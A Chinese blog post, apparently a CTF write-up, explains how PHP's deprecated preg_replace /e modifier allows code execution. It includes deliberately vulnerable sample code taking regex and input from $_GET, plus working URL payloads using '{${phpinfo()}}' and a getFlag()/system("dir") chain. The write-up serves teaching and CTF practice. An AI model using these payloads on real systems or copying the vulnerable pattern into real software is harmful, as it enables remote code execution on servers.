关于preg_replace \e的代码执行

今天做题的时候,遇到一个很有趣的题目,preg_replace大家都熟悉吧,这个大多是用来过滤使用的,但是说你没想到这个也可以进行命令执行吧。

注意:下面的方法在php7被禁用了

基础

第一阶段-讲解preg_replace

首先我们来了解preg_replace,这是一个php中的函数,主要用于执行一个正则表达式的搜索和替换。

搜索:preg_replace(正则表达式,主字符串)

替换:preg_replace(正则表达式,替换字符串,主字符串)

好这样就明白了

第二阶段-子模式捕获匹配

首先我们来了解一下,什么是子模式的捕获匹配

下面先来一个实例

<?php

$str = "abcdec";
$new_str = preg_replace("/(abc)(dec)/", '\2-\1', $str);
echo $new_str;
//回显dec-abc

首先这里的过滤表达式是/(abc)(dec)/,这里其中就有两个子模式(abc)和(dec)

在这里面大家肯定注意到了\2和\1,这两个其中\1就是代表(abc)子模式的结果,\2就是(dec)子模式的结果

下面我们在看一个实例

<?php

$str = "abcabcabc";
$new_str = preg_replace("/(a)(b)(c)/", '\3\2\1-', $str);
echo $new_str;
//回显cba-cba-cba-

这里我们分析一下上面,实际上abcabcabc被分成了三组,每组中都是abc,然后再分别取出对应的字符

我们可以这样理解/(a)(b)(c)/可以看成4个过滤表达式,首先过滤/abc/,然后过滤/a/给\1,过滤/b/给\2,过滤/c/给\3
下面是检验,我们的猜测

<?php

$str = "babc aabc cabc";
$new_str = preg_replace("/(a)(b)(c)/", '\3\2\1', $str);
echo $new_str;
//回显bcba acba ccba

这里我们可以看到他是没有管多出来的字符的,验证正确

第三阶段-/e执行

我们都知道在正则表达式,可以使用一些修饰符列如i、m、g之类的,这里介绍一个e

/e修饰符会将替换字符串作为PHP代码执行

使用方法也很简单,下面是实例

<?php

$a = "phpinfo";
$str = 'string';
$new_str = preg_replace('/abc/e', $a(), $str);
//执行了phpinfo();

第四阶段-子模式和/e的应用场景

这里我们可以控制$a和$str的值,那么怎么执行代码呢,其实我这里挺明显的了,相信大家都可以看出来。

<?php

$a = $_GET['a'];
$str = $_GET['b'];
$new_str = preg_replace('/('.$a.')/e', "\\1", $str);

应该有人注意到了我这里使用的其实是\\1

因为在PHP的双引号字符串中,要表达一个"\"(反斜杠),我们需要使用"\\"(两个反斜杠)进行转义

\1 不会执行,因为它只是一个替换序列,代表相应的子串。

\\1 会执行,因为它被视为一个字符串中的代码。

然后这里进过测试可以使用的有
?a=.*&b=phpinfo()
?a=\S*&b=phpinfo()
?a=phpinfo\(\)&b=phpinfo()

这里分析一下是为什么,首先这里将上面三个传入下面的时候的样子展示出来

preg_replace('/(.*)/e', "\\1", phpinfo());
preg_replace('/(\S*)/e', "\\1", phpinfo());
preg_replace('/(phpinfo\(\))/e', "\\1", phpinfo());

这里我们就讲解第一个了,这里.*是匹配0个或多个字符(任意字符)

然后他就是匹配到了phpinfo(),然后因为他是子模式,所以\1的值就是phpinfo(),然后因为在双引号中,转义了\,\1的值phpinfo()就被当做代码执行了

\S*匹配的是非空

phpinfo\\(\\)就是匹配phpinfo()

实例题目讲解

<?php

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

首先分析foreach那里,假如我们通过get方法传输?a=b,那么$re的值就是a,$str的值就是b

所以这里$re和$str的值,我们是可以控制的。

这里可以看到其实和上面挺像的,但是我们\1的值,被当做strtolower参数的值了,如果被当做他参数的值解析了,我们就不能进行命令执行了,这里我们就要仔细观察了,他里面使用的是双引号,外面使用的单引号。

或许经常使用Python的人对这个不敏感,但是其他语言的人应该就比较敏感了,这里单引号在php代表单纯的字符串不会有任何解析,但是双引号在php中他是可以解析里面的变量的

"{${phpinfo()}}";

这里这个phpinfo()执行了,因为在{}中里面的字符串会被当做变量解析,然后里面这个变量他的值是phpinfo()的值,所以他是执行了phpinfo()

payload:
    ?\S*={${phpinfo()}}
    ?\{\$\{phpinfo\(\)\}\}={${phpinfo()}}
或者
    ?\S*={${getFlag()}}&cmd=system("dir");
    ?\{\$\{getFlag\(\)\}\}={${getFlag()}}&cmd=system("dir");

细心的朋友应该发现了,这次为什么没有.*了,因为在php变量的命名规则中是没有点的,所以他解析的时候不会当成点来解析

猜你喜欢

转载自blog.csdn.net/m0_64815693/article/details/130327529